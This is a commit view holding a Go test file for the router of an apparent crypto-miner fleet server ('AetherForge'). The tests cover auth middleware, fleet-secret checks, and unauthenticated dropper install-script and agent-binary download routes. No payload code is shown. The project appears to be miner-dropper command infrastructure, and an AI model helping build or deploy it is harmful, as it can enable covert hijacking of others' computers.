feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge

This commit is contained in:
AetherForge
2026-05-30 23:26:50 -07:00
parent 6704933568
commit d005d5d07c
48 changed files with 4621 additions and 22 deletions

View File

@@ -0,0 +1,396 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"strings"
"testing"
"time"
"crypto-miner-server/internal/builder"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
)
const routerAuthCacheTTL = 5 * time.Minute
func resetAuthState(t *testing.T) {
t.Helper()
authSessionCacheMu.Lock()
authSessionCache = map[string]time.Time{}
authSessionCacheMu.Unlock()
usersMu.Lock()
authUsers = map[string]string{}
usersFilePath = ""
usersMu.Unlock()
SetAgentPathSecret("")
SetRotateSecretFn(nil)
t.Cleanup(resetAuthGlobals)
}
func resetAuthGlobals() {
authSessionCacheMu.Lock()
authSessionCache = map[string]time.Time{}
authSessionCacheMu.Unlock()
SetAgentPathSecret("")
SetRotateSecretFn(nil)
}
func TestRouterConstants(t *testing.T) {
if authCacheTTL != routerAuthCacheTTL {
t.Fatalf("authCacheTTL = %v, want %v", authCacheTTL, routerAuthCacheTTL)
}
}
func TestAuthCacheKeyDeterministic(t *testing.T) {
k1 := authCacheKey("user", "pass")
k2 := authCacheKey("user", "pass")
if k1 != k2 || k1 == "" {
t.Fatalf("cache key not stable: %q %q", k1, k2)
}
if authCacheKey("user", "other") == k1 {
t.Fatal("different passwords should produce different cache keys")
}
}
func TestBasicAuthMiddlewareOptionsPassthrough(t *testing.T) {
resetAuthState(t)
called := false
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
called = true
w.WriteHeader(http.StatusNoContent)
}))
req := httptest.NewRequest(http.MethodOptions, "/api/v1/config", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if !called || rec.Code != http.StatusNoContent {
t.Fatalf("OPTIONS should bypass auth: called=%v status=%d", called, rec.Code)
}
}
func TestBasicAuthMiddlewareHealthPublic(t *testing.T) {
resetAuthState(t)
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("health should be public, got %d", rec.Code)
}
}
func TestBasicAuthMiddlewareBuildDownloadPublic(t *testing.T) {
resetAuthState(t)
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
paths := []string{
"/api/v1/builds/abc/download",
"/api/v1/builds/abc/artifact/worker.exe",
}
for _, path := range paths {
req := httptest.NewRequest(http.MethodGet, path, nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("%s should be public, got %d", path, rec.Code)
}
}
}
func TestBasicAuthMiddlewareDropperPublic(t *testing.T) {
resetAuthState(t)
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
for _, path := range []string{"/get", "/install.sh", "/install.ps1"} {
req := httptest.NewRequest(http.MethodGet, path, nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("%s should be public, got %d", path, rec.Code)
}
}
}
func TestBasicAuthMiddlewareMissingCredentials(t *testing.T) {
resetAuthState(t)
usersMu.Lock()
authUsers["admin"] = "secret"
usersMu.Unlock()
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
t.Fatal("handler should not run without auth")
}))
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", rec.Code)
}
if !strings.Contains(rec.Header().Get("WWW-Authenticate"), "Basic") {
t.Fatal("expected WWW-Authenticate header")
}
}
func TestBasicAuthMiddlewareWrongPassword(t *testing.T) {
resetAuthState(t)
hashed, err := hashPassword("correct")
if err != nil {
t.Fatal(err)
}
usersMu.Lock()
authUsers["admin"] = hashed
usersMu.Unlock()
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
t.Fatal("handler should not run with bad password")
}))
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
req.SetBasicAuth("admin", "wrong")
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", rec.Code)
}
}
func TestBasicAuthMiddlewareValidCredentials(t *testing.T) {
resetAuthState(t)
hashed, err := hashPassword("correct")
if err != nil {
t.Fatal(err)
}
usersMu.Lock()
authUsers["admin"] = hashed
usersMu.Unlock()
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
req.SetBasicAuth("admin", "correct")
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d", rec.Code)
}
if !authCacheHit("admin", "correct") {
t.Fatal("successful auth should populate cache")
}
}
func TestBasicAuthMiddlewareAgentPathFleetSecret(t *testing.T) {
resetAuthState(t)
SetAgentPathSecret("fleet-secret-123")
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", nil)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusForbidden {
t.Fatalf("missing fleet secret should be 403, got %d", rec.Code)
}
req = httptest.NewRequest(http.MethodPost, "/api/v1/agent/decide", nil)
req.Header.Set("X-Fleet-Secret", "fleet-secret-123")
rec = httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("valid fleet secret should pass, got %d", rec.Code)
}
}
func TestRouterPostUsersValidation(t *testing.T) {
router, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader([]byte(`{}`)))
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("empty payload should be 400, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestRouterPostUsersSuccess(t *testing.T) {
router, dataDir := newTestRouter(t)
body, _ := json.Marshal(map[string]string{"username": "newop", "password": "newpass"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body))
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
usersPath := filepath.Join(dataDir, "users.json")
data, err := os.ReadFile(usersPath)
if err != nil {
t.Fatal(err)
}
var users map[string]string
if err := json.Unmarshal(data, &users); err != nil {
t.Fatal(err)
}
if !checkPassword(users["newop"], "newpass") {
t.Fatal("new user password should be bcrypt stored and verifiable")
}
}
func TestRouterRotateSecretNotConfigured(t *testing.T) {
router, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/server/rotate-secret", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusServiceUnavailable {
t.Fatalf("expected 503, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestRouterRotateSecretSuccess(t *testing.T) {
router, _ := newTestRouter(t)
SetRotateSecretFn(func() (string, error) {
return "new-secret-token-xyz", nil
})
t.Cleanup(func() { SetRotateSecretFn(nil) })
req := httptest.NewRequest(http.MethodPost, "/api/v1/server/rotate-secret", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["ok"] != true {
t.Fatalf("unexpected body: %v", body)
}
}
func TestRouterBuilderCancelNotFound(t *testing.T) {
router, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodDelete, "/api/v1/builder/cancel/missing-token", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("expected 404, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestRouterBuildDownloadNoAuth(t *testing.T) {
dataDir := t.TempDir()
seedTestUsers(t, dataDir)
database, err := db.New(dataDir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { database.Close() })
buildID := "dl-build"
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
binPath := filepath.Join(buildDir, "agent.exe")
if err := os.WriteFile(binPath, []byte("fake-binary"), 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
FilePath: binPath, FileName: "agent.exe", Platform: "windows",
}); err != nil {
t.Fatal(err)
}
wsHub := NewWSHub(database)
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(database, cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil)
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/download", nil)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("download should be public, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestRouterDropperInstallScriptsPublic(t *testing.T) {
router, _ := newTestRouter(t)
for _, path := range []string{"/install.sh", "/install.ps1"} {
req := httptest.NewRequest(http.MethodGet, path, nil)
req.Host = "forge.local:8989"
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("%s status=%d", path, rec.Code)
}
if !strings.Contains(rec.Body.String(), "AetherForge") {
t.Fatalf("%s missing branding", path)
}
}
}
func TestRouterSPAFallbackUnknownRoute(t *testing.T) {
router, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/unknown-dashboard-route", nil)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected SPA fallback 200, got %d", rec.Code)
}
if !strings.Contains(rec.Body.String(), "AetherForge") {
t.Fatal("expected index.html fallback")
}
}
func TestRouterNoWebRootFallback(t *testing.T) {
dataDir := t.TempDir()
seedTestUsers(t, dataDir)
database, err := db.New(dataDir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { database.Close() })
wsHub := NewWSHub(database)
cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(database, cfg)
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, "", dataDir, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d", rec.Code)
}
if !strings.Contains(rec.Body.String(), "No frontend configured") {
t.Fatalf("unexpected body: %s", rec.Body.String())
}
}